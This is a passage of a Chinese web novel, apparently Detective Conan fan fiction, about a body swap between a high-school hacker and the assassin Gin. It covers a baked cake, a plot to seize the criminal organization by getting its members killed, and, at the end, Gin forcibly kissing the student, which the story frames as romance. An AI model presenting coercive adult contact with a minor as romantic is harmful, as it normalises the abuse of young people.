他居高临下地盯着琴酒,那双冷漠的瞳孔中,无意间浮现出一抹极为浅淡的蓝色幽光。 “我。拒。绝。” 坚决的声音令空气陷入一片寂静。 嘈杂的心跳声仿佛也在这一刻平息了下去。 琴酒的心脏似乎传来陌生的刺痛,浑身散发出冰凉的气息,冻得人骨髓发寒,战栗不已。 无所谓。 他说过,相叶佑禾没有拒绝他的选项。 他从来不是什麽会尊重他人选择的好人,更不会放弃想要得到的东西,相叶佑禾的拒绝和答应,对他来说没什麽区别。 只是会从一开始的完好无损,到吃一些苦头,被他用强硬的手段带走罢了。 相叶佑禾对上他看来的眼神,便知道琴酒不打算放弃他。 呵,没关系。 他也不打算放过琴酒。 相叶佑禾攥着衣领的手收紧,盛满了怒火的心敏锐地察觉到了什麽,而后,周围的一切仿佛凝固了一瞬,耳边陷入一阵死寂。 眩晕感袭来,相叶佑禾猛地甩了甩脑袋,他眨了眨眼,模糊的视线逐渐变得清晰。 他看到了——揪着他衣领的粉发琴酒。 第69章 不讨厌我的触碰麽? “琴酒?”发出的声音低沉而富有磁性,相叶佑禾整个人都愣住了。 他揉了揉眼睛,睁开后看到的还是他原本的高中生身体。 相叶佑禾:“……” 相叶佑禾瞬间崩溃,抓着琴酒的肩膀摇晃:“为什麽我们又换回来了啊!!” 他才回到身体里没多久,怎麽又要扮演琴酒了! “都怪你,让我加入组织就算了,非要跑来我身边待在这麽近的地方,这下好了,我们又互换了!” 早就说了吧!没有找到互换的原因、不确定还会不会互换就不要随意见面啊! 他们就应该在换回来的那一刻再也不见才对! 琴酒这具身体被摇得七晕八素的,他在混乱中抓住相叶佑禾的手,五指用力:“别、晃、了。” 听到他咬牙切齿的声音,相叶佑禾动作戛然而止。 啊,忘了现在用着的是琴酒身体了。 他看了眼脸色有些苍白的琴酒,心虚地移开视线,以手做扇在对方脸前扇了扇风。 “还好吗?要不要躺下来休息一会?” 微凉的风带来几分舒爽,琴酒瞥了相叶佑禾一眼,对上他眼里的紧张和关心后,眉尾微挑,似笑非笑。 相叶佑禾顿了一下,随后意识到什麽。 虽然可以说是在关心自己的身体,但他们刚才还剑拔弩张,下一秒就会解决掉对方的样子。 况且在身份挑破被强硬邀请加入组织的这段时间,他应该是讨厌琴酒到恨不得对方死掉,永远不会出现在他面前。 而在面对讨厌的人出事,第一反应怎麽可能是关心对方…… “看什麽?”相叶佑禾强行压下那股违和感,故作镇定道:“我关心我的身体不行吗?” 琴酒扯了下唇角,没说行也没说不行。 这反而让相叶佑禾那此地无银三百两的感觉越发明显了。 他咳嗽一声,连忙转移话题:“现在最重要的是想想怎麽换回来!” 到目前为止,也算是有三次经验了,总应该找到一点互换的规律了吧? 第一次是琴酒想要杀相叶佑禾,掐住了他的喉咙。 第二次是相叶佑禾躺在研究所的床上,琴酒通过监控在不远处关注他的情况。 第三次则是刚才,相叶佑禾揪住琴酒的衣领。 这三次的共同点……相叶佑禾最先想到的就是他的异能力。 刚才因为太过生气,无意间引动了异能力,所以三次互换,他三次都动用了异能力。 互换的条件是使用异能力? 不对,他在琴酒面前偷偷使用异能力的次数可不止三次。 难道是概率的问题? 那要是运气糟得尝试多少次?太过频繁一定会被琴酒发现的吧…… “第一次互换时,你在想什麽?”琴酒的声音冷不丁响起。 沉浸在思绪中的相叶佑禾不假思索:“哪里来的变态傻叉,要不是我身体不好一定把人揍到痛哭流涕再扔去警局。” 空气陷入安静,相叶佑禾后知后觉的感觉有些冷,他缓缓抬眸,对上琴酒那双眯起的眼睛。 相叶佑禾:“……” “咳……你都要我命了,我还不能骂骂你?” 相叶佑禾说着自己都来气了,瞥了眼琴酒,才发现这人竟然还趴在他身上。 “起开!” “别急。”琴酒一把抓住他的手,说道:“我的意思是,你当时生气吗?恨我、想杀我麽?” 相叶佑禾无语:“废话,当然了,莫名其妙被人锁喉,还因为你眼神不好以为我是来杀你的杀手,能不火大……” 相叶佑禾眼睛微微睁大。 对了,除了异能力,还有一个共同点就是——这三次他都非常愤怒。 几乎可以说到达了一个巅峰。 琴酒:“想到了?” 相叶佑禾‘嗯’了一声,这麽说的话,是他生气加上异能力就能换回来,还是只要生气就可以了? 算了,都试试好了。 相叶佑禾眉头舒展,毫不客气道:“琴酒,快做点让我生气的事。” 琴酒没有说话,他的目光似乎比平时更加幽深、给人一种被盯上的毛骨悚然感。 相叶佑禾以为他不愿意,苦口婆心劝道:“这也是为了我们……” 琴酒动了。 因着相叶佑禾之前生气把琴酒推到了床上的缘故,两人现在依旧保持着一上一下的姿势。 而因为刚才想把琴酒推开,他的一只手被对方握住。 现在,那只手被琴酒拉着,放在了床单上。 相叶佑禾不明所以,可不等他说什麽,琴酒往他的方向移了一些,那只放在他腿间的膝盖自然也跟着移动,抵在了他的大腿内侧。 相叶佑禾睫毛颤了颤,撑在床上的手指猛地收紧,洁白的床单瞬间攥出淩乱的褶皱。 阴影自上而下投落,眼见着琴酒附身过来,相叶佑禾呼吸一滞。 他一把将人推开,自己也翻身而起,站到了几步外。 “你、你……”也不知道是生气还是害羞造成的慌乱,相叶佑禾不可置信地看着他,嗓音颤抖:“你干什麽?!” 琴酒扫了眼相叶佑禾那憋红的脸、因为无措蜷缩在一起的手指后,收回目光,漫不经心地开口:“不生气麽?” “哈?!”相叶佑禾瞪大眼睛:“我当然生气了!” 突然做这种莫名其妙又奇奇怪怪的动作! “是麽?”琴酒盯着他:“那为什麽还没换回来?” “比起生气,更多的是莫名其妙吧?!”相叶佑禾奇怪地看向他:“再说了,你为什麽觉得这是会让我生气到换回来的程度?” 他有这麽易燃易炸吗?要是这都能行,他们都不知道互换多少次了。 “要非常、非常生气!你懂吗?” 琴酒朝他迈进几步,姿态散漫而从容。 距离拉近,明明没有压迫感,可相叶佑禾还是忍不住后退了两步。 琴酒走到他跟前,唇角轻轻勾起一抹弧度,他的嗓音清冷而缓慢:“面对讨厌至极之人的触碰,难道不会恶心得勃然大怒,恨不得把对方大卸八块麽?” 轻飘飘的话语却重重戳中了相叶佑禾的内心。 那被他忽略的事实又被摆了上来。 是啊,自从换回来后,他应该是很讨厌这个一直赖在他世界不走、威胁到他想要的生活的混蛋才对。 相叶佑禾张了张嘴,竟然一时词穷不知道说什麽。 他看着琴酒,不知道是不是错觉,好像在对方眼睛里看到了几分满意的……愉悦? 第70章 你就是馋我身体! 不知道为什麽,相叶佑禾莫名有种羞恼的感觉。 他反驳道:“你用的是我的身体,这让我怎麽勃然大怒?” 相叶佑禾觉得他说的很有道理,他宝贝自己的身体还来不及,怎麽可能因为琴酒迁怒本体呢? “再说了,我自己的身体碰一下我怎麽了?” 以前他们也有不少肢体触碰,比这更暧昧更亲密的也有,当然这很正常,打架怎麽可能没有肢体接触。 但……为什麽偏偏这次,这麽让人在意…… 问题果然还是出在琴酒身上吧?谁让他今天说一些奇奇怪怪的话。 相叶佑禾朝琴酒看了一眼,正好对上后者投来的视线。 “是麽?”琴酒饶有兴趣地看向他。 “那不然呢!”相叶佑禾故作镇定,眼神有些飘忽,他被琴酒的眼神看得浑身不自在,迅速打断话题:“好了,别浪费时间了,我们再来试试其他办法吧!” 琴酒闻言,反而拉开椅子坐了下去,他一手搭在椅背上,修长的手指在上面轻轻敲击着,随后,缓缓吐出两个字:“不用。” 他觉得这次的互换来得正是时候。 组织那边的事他已经处理好了,这段时间相叶佑禾不会再有危险,既然如此,不如暂时保持现状。 总好过换回来后,他们那一触即发的糟糕关系。 而且……想到那几个成天围着相叶佑禾转的男人,琴酒心中冷笑一声。 “哈?!”相叶佑禾还以为他听错了。 但看对方的表情,他确实没听错。 相叶佑禾很震惊,万万没想到阻挠他们换回来的人居然会是琴酒。 这个跟他一样,同样迫切恨不得立马回到本体里的杀手,竟然说不用? “你脑子坏掉了?”相叶佑禾摸了摸他的额头,不烫啊。 随后想到什麽,警惕道:“还是说你馋我的身体!” 毕竟他的身体虽然脆皮了亿点,但很年轻! 他可是知道黑衣组织目的是什麽!说不定上行下效,琴酒也起了这方面的心思。 身体麽…… 琴酒脑袋里浮现出一抹不久前才发生过的画面——他解开相叶佑禾的衣扣,少年白皙的皮肤裸露在空气中,高烧不退的少年脸颊上带着不正常的红晕,一双秀眉紧紧皱起,毛巾擦拭过皮肤,带来的阵阵凉意惹得少年舒服的轻哼出声。 琴酒喉结轻轻滚动了一下,眸色深沉。 相叶佑禾本来也只是开个玩笑,琴酒正值青年,又不是boss那种快要埋进土里的糟老头子,要什麽年轻人的身体。 没听到答复,他也习以为常,转头催促起对方,继续尝试换回来的办法。 然而都被琴酒拒绝了。 topkiller似乎不想陪他一一尝试来浪费时间。 相叶佑禾恨铁不成钢,他们不是在‘互换’这件事上一致统一吗?怎麽现在只有他一个人着急了?! “现在做这些,也只不过是浪费时间。”琴酒如此评价。 一些鸡毛蒜皮的小事,怎麽能让情绪到达顶峰? 看着琴酒一副气定神闲无所谓的模样,相叶佑禾气得牙痒痒,恨不得给他来一套组合拳。 相叶佑禾大骂:“叛徒!” 他们灵魂互换的叛徒! 说完也不管琴酒什麽表情,直接出门了。 相叶佑禾自然也知道这个道理,就是不甘心想再试一试罢了。 除此之外,还有什麽能把他的怒气值拉满? 他这个人脾气本来就挺好的,加上身边的朋友同学性格也很好,根本没有让他生气的机会,除了琴酒。 自从和琴酒互换后,他感觉自己脾气都变差了。 等等,说起来,那个研究所…… 封闭的实验室、精密的仪器和洁白的床,一一从相叶佑禾的眼前闪过。 他讨厌实验室,如果再一次躺在那冷冰冰的床上,也许可以…… 相叶佑禾说做就做,第六研究所没有了,但组织还有其他研究所,地址当然难不倒他啦,至于理由就更简单了,只要用‘身体不适需要检查’就能轻易糊弄过去。 相叶佑禾摸了摸口袋,里面果然有琴酒的车钥匙,他一边往车库走去,一边发消息警告琴酒不许用他的身体加入黑衣组织,要不然他就用琴酒的身体当叛徒! 说到这个…… 相叶佑禾摸了摸下巴,他确实担心琴酒用着他的身体跑回组织,但相反的,他也能用琴酒的身体做很多事。 周遭冒出那麽多难缠的家夥,其实相叶佑禾心中早就有一个想法——解决了这些人还会有其他人,与其每天都被他们烦,不如直接干掉他们的boss,自己上位。 成为神秘boss,命令他们不许靠近自己的生活。 至于怎麽干掉boss,相叶佑禾也想好了。 ——借刀杀人。 他的身体不行,但手里却掌握着无数信息,组织成员的任务、路线、居住的地址等等,他只要把这些信息透露给其他组织,或者在黑衣组织出任务时,把他们的路线告知敌人,就能借刀杀人,以此来解决掉那些不听话的代号成员。 把一些有实权又不听话的成员干掉后,剩下的就可以用他们最在意、最重要的东西作为交换(威胁),让他们靠拢自己,成为自己的人。 有他的异能力在,相叶佑禾完全不担心会不知道他们的需求。 其他人都好办,麻烦的是琴酒。 在这一整个过程中,黑客樱一定会被人注意到,相叶佑禾有隐藏好自己身份的自信,但琴酒这个例外…… 相叶佑禾微微垂眸。 黑衣组织也好、公安卧底也好,对他而言最危险的难道不是琴酒吗? 这个和他朝夕相处、对他的一些小习惯都了如指掌的可怕男人,才是最应该—— 相叶佑禾没有再想下去,他轻车熟路地打开驾驶位,坐了进去。 哼,等他当上boss,看琴酒那家夥还敢不敢威胁他! 到时候,他就要让琴酒有多远滚多远! “嗯?”相叶佑禾正准备发动车子,突然看到副驾驶位上有个盒子。 上面没有标签图案,只是一个简简单单的纯色盒子,连漂亮的丝带都没有。 “这是什麽?”相叶佑禾好奇地拿起来。 盒子刚拆开一点,一股熟悉的果味涌入鼻腔。 草莓的清甜裹挟着奶油的柔软,散发出令人垂涎欲滴的味道。 粉色的蛋糕放在盒子正中央,没有花里胡哨的装饰,只有如初雪般蓬松的奶油上点缀着两颗草莓。 简简单单的蛋糕,和琴酒以前用着相叶佑禾身份时,在烹饪课上做出来过的蛋糕一模一样。【你现在阅读的是魔蝎小说 moxiexs】 70-80 第71章 Gin喜欢我吧?第一次kiss 相叶佑禾一眨不眨地盯着手心里的蛋糕,修长而纤细的睫毛遮住眼睛,看不清里面的神情。 琴酒为什麽会突然来找他的原因,已经显而易见了。 ——给他送蛋糕。 但是,为什麽要给他送蛋糕,还是这种自己亲手做的蛋糕…… 相叶佑禾脑海里突然浮现出课间的一个小插曲。 他坐在座位上无聊的写着习题册,心不在焉。一直很担心他的毛利兰终于忍不住了,过来找他聊天。 “相叶,最近很辛苦吧?感觉你心情一直不太好呢。” “是吗?可是我最近都没有听你念叨要吃草莓蛋糕了,今天天气不错,要一起去吃甜品吗?正好我们也很久没有一起吃过东西了。” 相叶佑禾记得,当时好像从门口看到一抹路过的银色。 难道琴酒正好听到了?所以特意去给他做了蛋糕,然后送来…… 相叶佑禾端着盒子的手指一紧,连忙否定。 “怎麽可能!” 已经换回自己身体的琴酒怎麽可能在意这种小事。 就算他是黑衣组织想要得到的重要人物、担心他太久没有吃甜食而让身体出现什麽问题,但是!这只要去店里买一份、或者让伏特加去买了送来就行了。 自己做什麽的…… 相叶佑禾感觉手心里的盒子变得灼热起来,烫得他险些扔出去。 以前用着他身体的时候迫不得已做蛋糕就算了,换回来了还怎麽可能…… 他知道了! 琴酒那个混蛋,一定是让别人做成这个形状,假装是自己做的,然后再亲自送过来给他,以获取他的好感,为加入黑衣组织做铺垫! 阴险奸诈的家夥,可惜碰上的是他,草莓蛋糕的终结者,他吃了那麽多草莓蛋糕,味道上任何细微的不同都会在他口中无所遁形。 “哼,就让本草莓蛋糕终结者来拆穿你的……”相叶佑禾拿起里面的叉子,叉了一块放在嘴里。 绵密的奶油入口即化,带着草莓酸甜的味道在口腔中蔓延开来,将相叶佑禾剩下的话打断。 如他之前所说,任何细微的差距在他嘴里都无所遁形。 四周一片寂静,好像周围的声音都消失不见,只剩下面前的蛋糕散发出浓郁而清甜的香味。 相叶佑禾抿了抿唇,淡淡的清甜在唇齿间徘徊。 这个味道他很熟,在烹饪课上纠缠怂恿琴酒、千方百计让对方给他做了很多份的……草莓蛋糕。 相叶佑禾像是失去力气一般,整个人软绵绵的往前趴去,将脑袋埋在了方向盘上。 这下不是完全没有欺骗自己的余地了嘛。 这份草莓蛋糕,就是琴酒特意为他做的。 在换回来后,由真正驱使这具身体的主人,用那双冷冰冰的、拿枪的双手做出来的草莓蛋糕。 他听到了毛利兰说的话,也许是借了学校里烹饪课上用到的食材厨具、也许是回家做的,然后找到了在波洛咖啡厅里的相叶佑禾。 虽然没有看到琴酒,但相叶佑禾假装晕倒被琴酒抱了起来,能感觉到对方手里并没有提着东西。 为什麽没提呢? 是认为他在波洛咖啡厅里已经吃了,没有必要再给他这份吗? 应该不会吧? 琴酒怎麽可能这麽善解人意呢? 就算他们的关系很恶劣,琴酒也会把蛋糕塞到他手里,用冷冰冰、强硬得让人火大的语气,让他消食之后必须吃掉。 确定了之后,捏在手里的蛋糕反而没有之前那般灼人了。 这份灼热,似乎随着香甜的奶油,顺着口腔滑到了身体里,在心脏处缓缓发热。 以前用着他的身体就算了,一想到换回来后,那个银发男人站在厨房揉面做蛋糕的样子,叶佑禾心里就升起一种难以言喻的奇怪感觉。 相叶佑禾磕在方向盘上的脑袋转了个面,从车窗吹进来的风,温柔地拂过额前的发丝,露出下面那双柔和如春水的眼睛。 似乎因为心里的灼热,让那双眼睛也带着几分热气,像是有一层薄薄的水意一般。 沁人心脾的风带走了脸上滚烫的温度,相叶佑禾眨了眨眼睛。 琴酒他……该不会是喜欢自己吧? ‘喜欢’一词冒出来,相叶佑禾自己都吓了一跳。 他扯了扯嘴角,好笑地嘲笑了自己两声。 琴酒跟爱情方面的‘喜欢’,完全搭不上边吧? 倒不是他自贬,只是在琴酒眼里,相叶佑禾应该只是个除了脑子好使,身体柔弱、心智不成熟、只会跟他唱反调、吵吵闹闹骚扰他的麻烦小鬼而已。 嫌弃得不行,怎麽可能‘喜欢’他呢? 可是感情的事,谁又能说得准?爱情就是这麽莫名其妙。 偏偏这个时候,蛋糕的香甜又顺着微风涌入鼻腔。 相叶佑禾猛地坐起,把蛋糕塞回了盒子里,放到了副驾驶的位置上。 然后开车离开。 拜这份蛋糕所赐,相叶佑禾的实验失败了。 他去了研究所、躺在了床上,也确实生气了。 可怒气却被分散了。 他不由自主的想琴酒是什麽时候开始成为实验对象的,想到琴酒就控制不住想蛋糕的事、琴酒是不是真的喜欢他、琴酒说‘不满他接受苏格兰和波本示好’、只有琴酒一个选项’的话是不是有另一层意思。 总之,直到睡着,他都没有成功换回来。 醒来后倒是没有太遗憾,他要按计划成为组织的新boss,就避不开琴酒这个不确定因素。 现在互换了用着琴酒的身体,反而变得更方便了。 相叶佑禾按照计划,用异能力找出一些重要成员的任务,在这期间,他还非常谨慎、仔细地把每一个成员都详细调查了一遍,确认好卧底和真正组织成员后,才开始实施计划。 挑选可以用的‘敌人’,组织也好、公安、FBI、CIA也好,他打算多方面发展。 他熟练的一一排查着各种能用的信息,挑选时间、地点,庞大而精细的信息并没有让相叶佑禾感到不适,竟有种熟悉的感觉。 幼时在横滨,他就是这麽冷漠的调取信息,安排好他人死亡的地点、时间。 后来他一度抗拒、厌恶这样的曾经,并给自己设置了约束,不再轻易使用异能力。 可现在他的心情却异常平静。 也许是因为,曾经的他没有没有感情没有自我,只是被作为工具而使用着。如今的他是在为了自己而争取,为自己能拥有想要的生活而努力。 ——他知道了自己想要的是什麽。 陆陆续续的得到一些组织回复,相叶佑禾微微勾了勾唇。 愿望并不能一蹴而就,更何况这份计划需要时间,他总不能直接把代号成员扔到他们的任务现场。 接下来只要等待就行了。 忽略那些开出天价条件的邀请,相叶佑禾收回了异能力。 该回家了。 但在回家的路上,相叶佑禾却退缩了。 公园的广场上,‘银发男人’坐在喷泉边,表情严肃又凝重。 ‘琴酒是不是喜欢他’。 一想到这件事,相叶佑禾就抓心挠肺,不敢看到琴酒,不知道怎麽面对那个男人。 问吧……很尴尬。 不问吧……他自己一个人胡思乱想也很糟糕。 问的话,如果不是那他岂不是要被嘲笑一顿,其实这还算是好的,万一得到肯定答案…… 啊啊啊啊啊啊啊! 一想到那个画面,相叶佑禾就头皮发麻,整个人不知所措,他抓着头发,浑身不自在地想要把脑子里的想法都揪出来。 “黑泽老师,你在做什麽呀?” 耳边响起询问,相叶佑禾心不在焉地回:“在想要是有人跟我告白,我是拒绝还是答应。” “什麽?!告白?!”身旁的人大吃一惊。 什麽?!告白?! 相叶佑禾在心里也跟着喊了一声。 什麽告白!他不是只是想确认心意吗?怎麽就快进到告白上了? 相叶佑禾吓了一跳。 “黑泽老师!是谁跟你告白?相叶吗?为什麽相叶要给你告白?你们不是分手了吗?现在要和好了吗?”原本打算回家,却在半路看到‘琴酒’连忙跑过来调查的江户川柯南,脸上探究的神色一变,急得上跳下窜,连‘哥哥’都忘记喊了。 “你要答应相叶吗?相叶他……” 相叶长相叶短的,吵得相叶佑禾烦不胜烦。 “工藤新一,你能不能安静一点!”烦死了烦死了,什麽分手什麽和好,他都没有确定琴酒的心意,怎麽就已经到分手又要复合的阶段了?! 一片寂静。 耳畔只剩下泉水涌出的哗哗声。 相叶佑禾后知后觉地反应过来不对。 等等…… 他僵硬地转过头,看到瞳孔地震、抱着滑板满头大汗的江户川柯南。 相叶佑禾:“……” “呃……我……” 开口时,江户川柯南也如大梦初醒一般,猛地抬起手表对准男人,相叶佑禾一惊,一把抓住了男孩的手腕,制止住他接下来的动作。 糟糕!麻醉手表用不了了! 还是小学生的江户川柯南根本没有与成年男人、还是经常锻炼不同寻常的成年男人对抗的力气。 他看着面前这个气势惊人的男人,咽了咽口水。 冷静、他要冷静。 听‘琴酒’的话,他应该早就发现了自己是工藤新一的身份,却迟迟没有拆穿也没有动作,是不是代表‘琴酒’因为不知原因暂时不会对他动手? 他还有谈判的机会! 不,先狡辩狡辩! 江户川柯南谨慎地卖萌:“黑泽老师,你在叫谁呀?我是柯南呀!” 相叶佑禾:“……” 他都要露出死鱼眼了,但为了形象还是忍了下来。 要顺着柯南,假装刚才只是口误吗? 虽然现在能糊弄过去,可之后这小鬼一定会想尽办法来调查自己。 不行不行,接下来他有很多重要的事情,比如观察琴酒是不是喜……咳咳,比如当上组织boss,绝对不能让柯南来搅乱。 不如换个方式。 “我在叫你,工藤新一。”相叶佑禾刚说完,面前的男孩瞳孔一缩,挣扎得更厉害了。 他另一只手一把捂住柯南的嘴,飞速说道:“我很早就知道你的身份了,但你放心,我不会对你动手,我的目的只有G、只有相叶一个人。 不知道什麽原因,相叶被波本和苏格兰注意到了,不过肯定是波本和苏格兰的问题,像他们这种变态因为一个微笑或者一句无心之语盯上别人也是正常的。” 对不起了降谷先生、诸伏先生!他以后一定亲自道歉,现在为了不在工藤新一面前暴露黑客马甲,他只能把锅甩在两人身上了! 现在顶着琴酒的身份,他还帮琴酒也解释了一下:“我在以前被相叶无意间帮助过,所以想要帮他躲过被组织带走的命运。你要是想要保护你的朋友家人们,就不要擅自妨碍我,这样只会让他们有机可乘。” 他一口气说完一大堆话,江户川柯南听得目瞪口呆。 波本和苏格兰啊,确实……他从以前就觉得相叶的长相就很吸引变态……等等! 吸引变态! 他信个鬼!他可没忘记琴酒整天出入相叶的家里,还在半夜偷偷摸摸溜去学校在相叶的位置上装摄像头! 最先跑来学校监视相叶佑禾的也是琴酒! 明明就是琴酒自己馋相叶才对!还嫁祸给别人! 江户川柯南盯着相叶佑禾那张面不改色的脸,被他的无耻给震惊到了。 没想到‘琴酒’居然是这种人! 不过也确实让江户川柯南的警惕心稍微放下来了一点点。 也就一点点。 没想到琴酒会为了追求相叶对工藤新一视若无睹。 看着江户川柯南那‘真的假的,我不信’的表情,相叶佑禾只好拿出一个U盘,塞进他口袋里。 “给你,APTX4869的数据。” 江户川柯南瞳孔震了震,挣扎了两下。 相叶佑禾抓紧他继续道:“不过里面只有一半,你要是乖乖听话不来打扰我,过一段时间我就把剩下的一半也给你。” 江户川柯南不语,只一味挣扎。 相叶佑禾:“怎麽?你不答应?那把U盘还给我。” 江户川柯南:“……” “!!!” “唔唔唔!”他眼睛疯狂地往下看去,相叶佑禾以为他是舍不得,还‘哼’了一声:“你都不答应还想要,做梦呢?” 相叶佑禾刚把手松开,江户川柯南就急忙一把抓住他的手,大喊:“我要我要!” 当然,相叶他也是要拯救的,不过先把APTX4869的数据骗到手再说! “那就说好了。”相叶佑禾可不想和江户川柯南继续耗下去,待久了被怀疑就麻烦了。 “如果你毁约,呵。”他故作深沉的冷笑了一声,拍了拍男孩的肩膀离开。 冰冷的寒气裹挟全身,江户川柯南心脏重重跳了两下,定在原地。 他僵硬地转头,看着琴酒驱车离开。 直到消失在公园,江户川柯南猛然回神,跳上滑板来到阿笠博士家。 “博士!灰原呢?” “新一,发生什麽了?怎麽这麽着急?”阿笠博士指了指旁边:“小哀在那。” “灰原!你快看看里面的数据是不是真的!”江户川柯南冲过来,把U盘塞进灰原哀手里。 “什麽东西这麽着……”看着计算机上的数据,灰原哀瞳孔一缩:“这是……APTX4869的数据!工藤,你从哪里弄到的?” 江户川柯南却没有回答灰原哀,他神情恍惚地喃喃道:“竟然是真的……” 他是真的没想到,琴酒居然也是个二五仔! 这就是爱情吗?—— 相叶佑禾纠结来纠结去,最后还是把琴酒做的蛋糕吃了。 扔了浪费粮食和一些人的心意,带回去万一琴酒提起来也挺尴尬的。 就这样假装无事发生吧。 相叶佑禾到了楼下又磨蹭了一会,做足心里建设后终于上楼了。 客厅里留了一盏灯,却没有人,直觉告诉他琴酒没有离开。 相叶佑禾狗狗祟祟地打开卧室门,果然看到躺在床上睡了的琴酒。 相叶佑禾:“……” 也不知道是该为他花费这麽多时间思考怎麽面对琴酒而生气,还是庆幸不用面对琴酒。 算了,睡觉吧。 换不回来,反正还有时间观察。 琴酒一夜无梦。 已经有过一次互换的经历,第二天一早,琴酒轻车熟路地提上书包,坐上相叶佑禾的副驾驶前往学校。 他们好像什麽都没发生过一般自然、默契,但中间又隔着再也回不去的距离。 比如相叶佑禾没有以前那麽话多,也不会和从前一样总是跑到琴酒身边,阻止任何危险的人和事靠近琴酒。 当然,相叶佑禾总是会偷偷躲在某处观察他、不动声色地阻挠波本和苏格兰等人,却再也不像平时那麽大胆张扬。 今天是他们第二次互换后的第五天,回家的路上相叶佑禾依旧不怎麽和琴酒说话。 琴酒感觉到了落在身上的视线,他朝这道视线的方向看去——相叶佑禾飞速收回了眼神,绷着张脸目视前方。 又一次回避他的视线。 琴酒:“。” 琴酒烦躁地杵着下颚,面无表情地朝窗外看去,目光落在一家甜品店时,冷冷开口:“不买蛋糕吗?” “不买。”一提起蛋糕,相叶佑禾整颗心都悬起来了。 该不会是要问那天那个蛋糕的事了吧? 他要假装不知道琴酒做的吗?好像装不了。 万一琴酒顺势…… “为什麽?你不是喜欢麽?”琴酒冷不丁的声音响起。 一起生活这麽久,记得他的喜好很正常,但为什麽要提醒一个‘敌对’关系之人喜欢的东西。 以前琴酒好像也没提醒过他呀。反而还总是嫌弃他吃那麽多蛋糕。 琴酒:“不喜欢这家的味道?那……” 相叶佑禾握着方向盘的手一紧,脱口而出:“不用!” 该不会是要给他做蛋糕吧? 可恶,家里好像确实有材料,都是以前买回来拜托琴酒做的,虽然琴酒很少很少很少会答应他。 相叶佑禾承认他可耻的心动了。 不行!这不是又绕回他很想知道的话题上了吗? 他还没准备好知道答案啊!! 相叶佑禾连忙说:“我不喜欢了!” 琴酒眯了眯眼,没再说话。 空气中的温度似乎下降了不少。 接下来两人依旧保持沉默。相叶佑禾很想去看琴酒的表情,但怕又撞上对方的视线,只能强行忍了下来。 回到家里,相叶佑禾把脱下来的外套挂在衣架上,却和同样把衣服挂上来的琴酒碰了个正着。 两只手碰在一起,温度顺势传递而来,相叶佑禾如同被烫了一般,立即收回手。 连衣服都不挂地就往房间里走。 琴酒眸色瞬间沉了下去。 又一次。 这段时间相叶佑禾总是避免和他共处一室,迫不得已和他待在一起时,好像充斥着不情愿。 相叶佑禾讨厌和他待在一起、讨厌他的视线和触碰。 “相叶佑禾。”低沉的嗓音听不出里面的情绪。 相叶佑禾定在原地,没有回头。 “怎麽了?” 别提蛋糕别提蛋糕别提蛋糕。 脚步声传来,一步一步踏在心里。 随后,琴酒出现在他面前,站定。 相叶佑禾视线飘忽。 琴酒眯了眯眼睛,冷笑一声。 正当相叶佑禾忍不住要去看他时,胸前的领带被人一把揪住,猛地往下拽去。 眼前一花,鼻尖传来琴酒的气息,紧接着,唇瓣一暖。 相叶佑禾眼睛骤然睁大,可不等他看清,眼前便陷入一阵黑暗。 琴酒捂住了他的眼睛。 相叶佑禾紧张的心突然停住了,好像所有时间都在这一刻定住。 眩晕感传来。 一秒、两秒…… 相叶佑禾睁开眼,看到了被他蒙住眼睛的银发杀手。 而男人领带,正缠绕在他另一只手中。 他和琴酒换回来了。 为什麽会换回来? 为什麽会在这种时候换回来?! 或者说,为什麽会在这种情况下换回来啊!! 相叶佑禾下意识的松手,整个人往后退去。 而在他松手的同时,琴酒睁开了眼睛,绿色的眼眸落在他身上,愈发幽深晦涩。 腰间被一只大手揽住,将相叶佑禾带了回来,不仅没有离开,还整个落进了男人的怀中。 唇瓣上的柔软依旧,属于银发男人湿热的气息扑面而来。 唇瓣被咬了一下,相叶佑禾吃痛,情不自禁地微微张开,随后,柔软又湿润的触感闯了进来。 第72章 我才没有回应你!才!没!有! 在琴酒这个眼光狠辣、见惯人性的杀手眼中,相叶佑禾是个非常简单的小鬼。 尽管他一直在隐藏自己,但无论是演技还是情绪的掌控都很稚嫩。 琴酒认为他对相叶佑禾还算了解。 但他不太明白的是,相叶佑禾并不是常规意义上的好孩子,他是网络上嚣张肆意的黑客樱,以一己之力把众人玩弄于股掌之间,把别人的网络系统当做自己家一样,大摇大摆地进去又大摇大摆地出来,恨得人牙痒痒却拿他没办法。 相叶佑禾对此应该是乐此不彼的,他会在一定程度上放任自己的心性,为所欲为。 也就是说,他的道德感并没有那麽高。 更何况,他很快接受琴酒杀手的身份并适应良好、会偷偷摸摸去学校安装监视器、会找毒药给自己的身体吃下。 在不放心的情况下,相叶佑禾也会像一个变态一样跟琴酒黏在一起,形影不离,面对想要夺取他性命的人,相叶佑禾也会干脆果断的解决对方。 种种迹象都足以证明,相叶佑禾并不是一个非黑即白的人。也许不喜欢黑暗,但却对黑暗接受良好。 在这基础上,对琴酒‘只是背地里加入组织,表面依旧可以像普通人一样继续上学、和朋友吃饭、玩耍’的提议,相叶佑禾应该会接受才对。 这对并不属于纯正义一方的相叶佑禾来说,不是什麽难以接受的事。 可他很抗拒,无论如何也要拒绝。 因为黑客的特殊身份,相叶佑禾不敢和朋友们靠得太近,他把自己和朋友们固定在两个位置上,客套又疏离。 这真的是他想要的平静生活吗?真的是他渴望的普通人的世界吗? 又真的,只是因为黑客这个特殊的身份吗? 想到第二次互换时相叶佑禾瞳孔里一闪而过的幽蓝色光芒,琴酒眸光闪了闪。 不管什麽原因,这似乎并不重要。 相叶佑禾将自己定死在那个‘维持平静生活’的言论上,他被这句话束缚住,无法往前,也无法退后。 他像是一个接受不了真实的自己、想要强行融入集体的‘外来者’,忽略自身感情,只单纯执拗的坚持着这个想法,不让其被打破。 真是个幼稚的小鬼。 琴酒很想嘲笑一下这个胆小鬼,可是扯了扯嘴角,只是牵起一个没有温度的弧度罢了。 他看着镜子中这张属于相叶佑禾的脸,蓬松的粉发垂落,如被微风吹起的花瓣一般,本该如春水柔和的眼眸,变得冰冷沉静。 而这张温和、会挂着浅浅笑意的容颜,不知什麽时候变得冷漠不近人情。 这并不是琴酒有意为之。 也许是身体与灵魂融合得不是很好,他们在对方身体里时,偶尔也会被这具身体里残存的情绪影响到。 以前总是能感觉到那小鬼的不安、开心、生气……是鲜活富有生气的。 但现在,琴酒感觉这些情绪都消失了。 琴酒本以为相叶佑禾冷脸只是因为不愿意看到自己,在看不到自己的地方外,他依旧是那个在朋友面前温和没脾气、私底下情绪充沛的少年。 可第二次互换后琴酒意识到自己想错了。 相叶佑禾似乎真的被他影响到了。 